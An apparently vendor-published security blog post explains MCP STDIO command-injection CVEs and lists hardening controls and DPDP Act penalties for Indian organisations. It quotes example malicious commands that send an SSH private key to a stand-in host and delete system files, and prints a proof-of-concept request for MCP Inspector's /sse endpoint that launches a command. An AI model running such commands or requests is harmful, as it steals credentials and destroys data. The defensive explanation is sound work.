On this page · 12 sections
- What OX Security found in April 2026
- The 11 CVEs, and what they have in common
- The MCP Inspector precedent: CVE-2025-49596
- Why STDIO turns configuration into command execution
- The configs that stop them
- Control summary
- Who owns which control
- India-specific considerations
- What to do this week
- FAQ
- How eCorpIT can help
- References
Summary. On 20 April 2026, OX Security published research describing 11 CVEs across Model Context Protocol implementations, affecting more than 7,000 publicly accessible servers and packages totalling over 150 million downloads. The root cause is not a bug in one library. It is how the STDIO transport turns configuration data into executed commands, and it reaches Python, TypeScript, Java and Rust alike because it sits in Anthropic's reference SDK. Anthropic declined to change the protocol architecture, calling the behaviour expected. That decision moves the entire burden onto you, the operator. The precedent was set a year earlier: CVE-2025-49596 hit the MCP Inspector at CVSS 9.4 on 13 June 2025, and CVE-2025-6514 hit mcp-remote at CVSS 9.6 across 437,000 downloads. For Indian data fiduciaries the arithmetic is sharper still, because failure to maintain reasonable security safeguards under the DPDP Act carries a penalty of up to ₹250 crore. The controls below are the ones the MCP specification actually mandates, written as configuration rather than advice.
What OX Security found in April 2026
The research, published on 20 April 2026 by OX Security researchers Moshe Siman Tov Bustan, Mustafa Naamnih, Nir Zadok and Roni Bar, is blunt about the impact:
"This flaw enables Arbitrary Command Execution (RCE) on any system running a vulnerable MCP implementation, granting attackers direct access to sensitive user data, internal databases, API keys, and chat histories."
The finding is a design property, not an implementation slip. MCP servers launched over STDIO take a command string and arguments from configuration and hand the resulting process handle back to the model. If the command starts a working STDIO server, you get a handle. If it does not, the command still runs, and you get an error afterwards. The execution happens either way. That is the whole flaw, and it is why the same core issue keeps producing new CVE numbers in different projects.
OX Security grouped the resulting attacks into four shapes:
- Unauthenticated and authenticated command injection via MCP STDIO.
- Unauthenticated command injection via direct STDIO configuration, bypassing hardening.
- Unauthenticated command injection via MCP configuration edits driven by zero-click prompt injection.
- Unauthenticated command injection through MCP marketplaces, where a network request triggers a hidden STDIO configuration.
The fourth shape is the one that turns a local developer problem into a supply chain problem. OX Security's own summary of why it spread put it this way:
"What made this a supply chain event rather than a single CVE is that one architectural decision, made once, propagated silently into every language, every downstream library, and every project that trusted the protocol to be what it appeared to be."
Anthropic's position, as reported by The Hacker News on 20 April 2026, is that the behaviour is expected. Some downstream vendors have patched. The reference implementation has not changed. If you run MCP servers, you inherit the risk and you own the mitigation.
The 11 CVEs, and what they have in common
Every entry below traces to the same STDIO configuration-to-execution path. The projects differ; the mechanism does not.
| CVE | Affected project | Patch status (as of 20 April 2026) |
|---|---|---|
| CVE-2025-65720 | GPT Researcher | Unpatched at disclosure |
| CVE-2026-30623 | LiteLLM | Patched |
| CVE-2026-30624 | Agent Zero | Unpatched at disclosure |
| CVE-2026-30618 | Fay Framework | Unpatched at disclosure |
| CVE-2026-33224 | Bisheng | Patched |
| CVE-2026-30617 | Langchain-Chatchat | Unpatched at disclosure |
| CVE-2026-30625 | Upsonic | Unpatched at disclosure |
| CVE-2026-30615 | Windsurf | Unpatched at disclosure |
| CVE-2026-26015 | DocsGPT | Patched |
| CVE-2026-40933 | Flowise | Unpatched at disclosure |
OX Security also names a set of earlier, independently reported vulnerabilities built on the same core issue: CVE-2025-49596 in MCP Inspector, CVE-2026-22252 in LibreChat, CVE-2026-22688 in WeKnora, CVE-2025-54994 in @akoskm/create-mcp-server-stdio, and CVE-2025-54136 in Cursor. Five separate research efforts arrived at the same door.
The practical reading for a platform team: patching individual packages is necessary and insufficient. A patched LiteLLM does not protect you from the next agent framework that wires configuration straight into a subprocess. You have to contain the pattern, not chase the instances.
The MCP Inspector precedent: CVE-2025-49596
The clearest worked example predates the OX Security research by ten months, and it is worth understanding because the fix Anthropic shipped is the template for everything else.
Oligo Security reported a remote code execution and DNS rebinding vulnerability in MCP Inspector to Anthropic on 18 April 2025. Anthropic noted that another researcher had reported it on 26 March 2025. CVE-2025-49596 was published on 13 June 2025 with a CVSS score of 9.4.
Anthropic's advisory text is precise about the cause:
"Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. Users should immediately upgrade to version 0.14.1 or later to address these vulnerabilities."
The attack works because MCP Inspector's proxy listened on port 6277 with no authentication, and its /sse endpoint accepted a command query parameter and an args parameter. A request shaped like this was enough:
http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser
Any public web page running JavaScript could dispatch that request. The reason it reached a service on localhost is the 0.0.0.0-day flaw, a 19-year-old browser inconsistency in how requests to the private network are handled. Oligo Security documented it in 2024 and reported it still unpatched in major browsers as of 2025. Reading a blog post about MCP was enough to get exploited by one.
Anthropic's fix in 0.14.1 did two things: it added a session token to the proxy by default, following the pattern Jupyter uses, and it added allowed-origins verification, which closes the browser vector outright. Both changes are configuration-level. Neither required rearchitecting the protocol.
The lesson generalises. The controls that work here are authentication on local services, origin checking, and refusing to treat localhost as a trust boundary.
Why STDIO turns configuration into command execution
It helps to be exact about the trust assumption that breaks.
MCP's STDIO transport was designed so a client could spawn a local server process and talk to it over standard input and output. Spawning a process means running a command. The configuration file that names that command is therefore executable content, not data. Most teams do not treat it that way. They treat mcp.json or its equivalent the way they treat a .env file: something you edit, commit, sync, and occasionally accept from a marketplace.
The MCP specification's own security guidance is explicit about what that enables. It lists two example malicious startup commands:
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
Neither is exotic. Both are what happens when a string in a config file reaches a shell. The specification's stated risks for local MCP servers are arbitrary code execution with client privileges, no user visibility into what runs, command obfuscation, data exfiltration, and irrecoverable data loss.
The real cost here is usually the trust model, not the code. A team that has internalised "config is data" will keep reintroducing this class of bug no matter how many packages it patches.
The configs that stop them
Everything below is drawn from the MCP specification's security best practices document. Where the specification says MUST, treat it as a gate in review, not a suggestion.
1. Reject any token not issued for your server
Token passthrough, where a server accepts a client's token and forwards it to a downstream API without checking the audience, is forbidden outright. The specification's language: MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server.
The failure modes are worth naming because they are not obvious. Passed-through tokens bypass rate limiting and request validation that depend on audience claims. They break the audit trail, because the downstream resource server's logs show a different identity than the MCP server actually forwarding the call. And they make your server a data exfiltration proxy for anyone holding a stolen token.
Validate the token against your own authorization server. If you need downstream access, use a token exchange, not a relay.
2. Block the SSRF ranges before OAuth discovery runs
During OAuth metadata discovery, MCP clients fetch URLs supplied by the server: the resource_metadata URL from the WWW-Authenticate header, the authorization_servers URLs from the Protected Resource Metadata document, and the token_endpoint and authorization_endpoint from Authorization Server Metadata. A malicious server populates those with internal addresses.
The specification recommends blocking these ranges, per RFC 9728 Section 7.7:
# IPv4
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8 # except explicit local development
169.254.0.0/16 # link-local, includes cloud metadata
# IPv6
fc00::/7
fe80::/10
::1 # except explicit local development
169.254.169.254 is the one that costs you the most. It is the AWS, GCP and Azure instance metadata endpoint, and reaching it means IAM credentials leave the building.
Two cautions from the specification itself. First: avoid implementing IP validation by hand, because attackers use octal, hex and IPv4-mapped IPv6 encodings that custom parsers miss. Second: DNS-based validation has a time-of-check to time-of-use gap, so an attacker domain can resolve to a safe address during validation and an internal one during the request. Pin DNS results between check and use, and put an egress proxy in front of server-side deployments. The specification names Stripe's Smokescreen as an example of a proxy that prevents SSRF by design.
Enforce HTTPS for OAuth URLs in production, and allow http:// only for loopback during development, consistent with OAuth 2.1 Section 1.5.
3. Sandbox every local server, and show the command before running it
If your client supports one-click local server configuration, the specification says it MUST implement consent before executing commands. Concretely, the consent dialog must show the exact command without truncation, including arguments, identify it as a potentially dangerous operation that executes code, require explicit approval, and allow cancellation.
Beyond consent, the specification recommends highlighting dangerous patterns such as sudo, rm -rf, network operations and file access outside expected directories; warning that MCP servers run with the same privileges as the client; executing servers in a sandbox with minimal default privileges; and using platform-appropriate sandboxing such as containers or chroot.
For server authors intending local use: prefer the stdio transport to limit access to the client alone. If you must use HTTP, require an authorization token or use Unix domain sockets with restricted access.
4. Bind sessions to user identity, and never authenticate with them
Two rules, both MUST. Servers that implement authorization must verify all inbound requests. Servers must not use sessions for authentication.
Session IDs must be secure and non-deterministic, generated with a secure random number generator. The specification's concrete recommendation for storage and transport is to combine the session ID with information unique to the authorized user:
<user_id>:<session_id>
The reason is specific. If an attacker guesses a session ID, they still cannot impersonate another user, because the user ID is derived from the verified token rather than supplied by the client. This matters most when you run multiple stateful HTTP servers behind a shared queue, where an attacker can enqueue an event against Server B with a session ID that Server A will later poll and deliver to the client as a resumed response.
5. Validate OAuth authorization URLs by scheme
Malicious servers supply authorization URLs that clients open. Two things go wrong: a javascript: URL passed to window.open() gives the attacker script execution in the client's context, and a URL opened via a shell gives them command injection.
The specification requires clients to allow only http:// and https:// schemes, with http:// limited to loopback in development, and to reject javascript:, data:, file:, vbscript: and similar. Use allowlist validation rather than a blocklist. Do not use cmd.exe, sh or PowerShell to open URLs; use platform-specific, non-shell mechanisms.
Web-based clients should set Content Security Policy headers, at minimum script-src 'self' and default-src 'self'.
This control matters more than it looks, because XSS in a client chains into full compromise wherever a proxy spawns MCP servers as child processes: steal the proxy auth token from the client environment, make an authenticated request to the local proxy, and the proxy spawns your command believing it is a legitimate server.
6. Minimise scopes and challenge incrementally
Publishing every scope in scopes_supported and letting clients request them all is what turns a leaked token into lateral movement. The specification's guidance is a progressive model: start with a minimal set such as mcp:tools-basic covering low-risk discovery and read operations, then elevate through targeted WWW-Authenticate challenges carrying scope="..." when a privileged operation is first attempted.
The named anti-patterns are worth checking your implementation against: wildcard or omnibus scopes such as *, all or full-access; bundling unrelated privileges to preempt future prompts; returning the entire scope catalogue in every challenge; and treating claimed scopes in a token as sufficient without server-side authorization logic.
Control summary
| Control | Specification level | Config or code change |
|---|---|---|
| Reject foreign-audience tokens | MUST NOT accept | Validate audience claim at the server; use token exchange downstream |
| Block private and link-local IPs | SHOULD block | Egress proxy plus RFC 9728 range denylist, DNS pinning |
| Consent before local server spawn | MUST implement | Show untruncated command; require explicit approval |
| Sandbox spawned servers | SHOULD implement | Container or chroot, minimal privileges, restricted filesystem |
| Non-deterministic session IDs | MUST use | Secure RNG; key as <user_id>:<session_id> |
| Reject dangerous URL schemes | MUST reject | Allowlist http/https only; no shell URL opening |
| Minimal initial scopes | SHOULD implement | mcp:tools-basic baseline; incremental WWW-Authenticate challenges |
Who owns which control
A recurring source of unpatched risk is that client teams and server teams each assume the other handles a given check. The specification splits them explicitly.
| Responsibility | MCP client | MCP server |
|---|---|---|
| Token audience validation | Request correctly scoped tokens | Reject tokens not issued for it |
| SSRF protection on discovery URLs | Blocks private ranges, pins DNS | Publishes only its own metadata |
| Consent before command execution | Shows exact command, requires approval | Documents expected startup command |
| Session security | Treats session ID as non-secret | Generates securely, binds to user ID |
| URL scheme validation | Rejects javascript:, data:, file: |
Supplies only HTTPS authorization URLs |
India-specific considerations
For Indian organisations the MCP question is not only technical. Under the Digital Personal Data Protection Act 2023, failure to maintain reasonable security safeguards attracts a penalty of up to ₹250 crore, and breach notification failures up to ₹200 crore. The Data Protection Board of India was established and the penalty framework became active in November 2025. The Consent Manager Framework becomes operational on 13 November 2026, and full compliance for data fiduciaries lands on 13 May 2027.
That timeline matters for MCP specifically. An agent with a compromised MCP server has the access the specification warns about: user data, internal databases, API keys, chat histories. If that agent touches personal data of Indian data principals, an RCE is a security-safeguards failure with a defined statutory ceiling, not just an engineering incident. Teams building on MCP through 2026 should treat the STDIO sandbox and the token audience check as part of their DPDP gap assessment, not as backlog items.
Our reading is that the November 2026 and May 2027 dates give Indian teams a genuine build window, and MCP hardening is cheaper to do now than to retrofit after the Consent Manager integration work starts.
For the wider picture on Indian data protection timelines, see our guide to DPDP compliance costs for Indian startups and the DPDP consent manager framework readiness checklist.
What to do this week
A short, ordered list beats a long one nobody finishes.
- Inventory every MCP server your organisation runs, local and hosted. The OX Security count of 7,000 publicly accessible servers is a floor, not a ceiling, and most teams underestimate their own footprint.
- Check MCP Inspector versions globally and inside each project's
node_modules. Anything below 0.14.1 is vulnerable. Runnpm list -gand upgrade withnpm install -g "@modelcontextprotocol/inspector@^0.14.1".
- Check for mcp-remote between 0.0.5 and 0.1.15. The fix landed in 0.1.16 on 17 June 2025.
- Grep your agent stack for the projects in the CVE table above. LiteLLM, Bisheng and DocsGPT have patches. The rest were unpatched at disclosure on 20 April 2026, so verify current status before you assume.
- Put an egress proxy in front of any server-side MCP client and deny the RFC 9728 ranges, starting with
169.254.169.254.
- Audit for token passthrough. If any server forwards a client token downstream without validating the audience, that is a specification violation, not a design choice.
- Sandbox local servers. Containers, minimal privileges, restricted filesystem access.
- Block public IP access to MCP services, monitor tool invocations, treat external configuration input as untrusted, and install servers only from verified sources. These four are OX Security's own recommendations.
The pattern across all eight: assume the configuration is hostile and the localhost boundary is imaginary. Both assumptions have already been proven correct by CVE.
FAQ
How eCorpIT can help
eCorpIT builds and hardens AI agent platforms for teams running MCP in production, covering the controls above as configuration rather than documentation: token audience validation, egress policy, sandboxed local servers, and scope minimisation reviewed against the specification's MUST-level requirements. Our senior engineering teams work across Python, TypeScript and Java implementations, and we design applications aligned with DPDP Act requirements for Indian data fiduciaries. If you are running agents against internal databases and are not certain which of the 11 CVEs above touch your stack, an inventory and gap review is the sensible first step. Talk to us about an MCP security review.
References
- Anthropic MCP Design Vulnerability Enables RCE, Threatening AI Supply Chain — The Hacker News, 20 April 2026.
- Security Best Practices — Model Context Protocol specification.
- Critical RCE Vulnerability in Anthropic MCP Inspector - CVE-2025-49596 — Oligo Security, 27 June 2025.
- CVE-2025-49596 detail — NVD, National Institute of Standards and Technology.
- MCP Inspector proxy server lacks authentication between the Inspector client and proxy — GitHub Advisory Database, CVE-2025-49596.
- Critical mcp-remote Vulnerability Enables Remote Code Execution, Impacting 437,000+ Downloads — The Hacker News, July 2025.
- mcp-remote exposed to OS command injection via untrusted MCP server connections — GitHub Advisory Database, CVE-2025-6514.
- MCP by Design: RCE Across the AI Agent Ecosystem — Cloud Security Alliance research note on OX Security findings, 20 April 2026.
- 0.0.0.0 Day: Exploiting Localhost APIs From the Browser — Oligo Security.
- MCP Inspector repository — Model Context Protocol, GitHub.
- OAuth 2.0 Protected Resource Metadata, Section 7.7 — IETF RFC 9728.
- India's DPDP Timeline: Critical Compliance Deadlines for 2026-27 — India Briefing.
- MCP Transports specification — Model Context Protocol.
Last updated: 16 July 2026.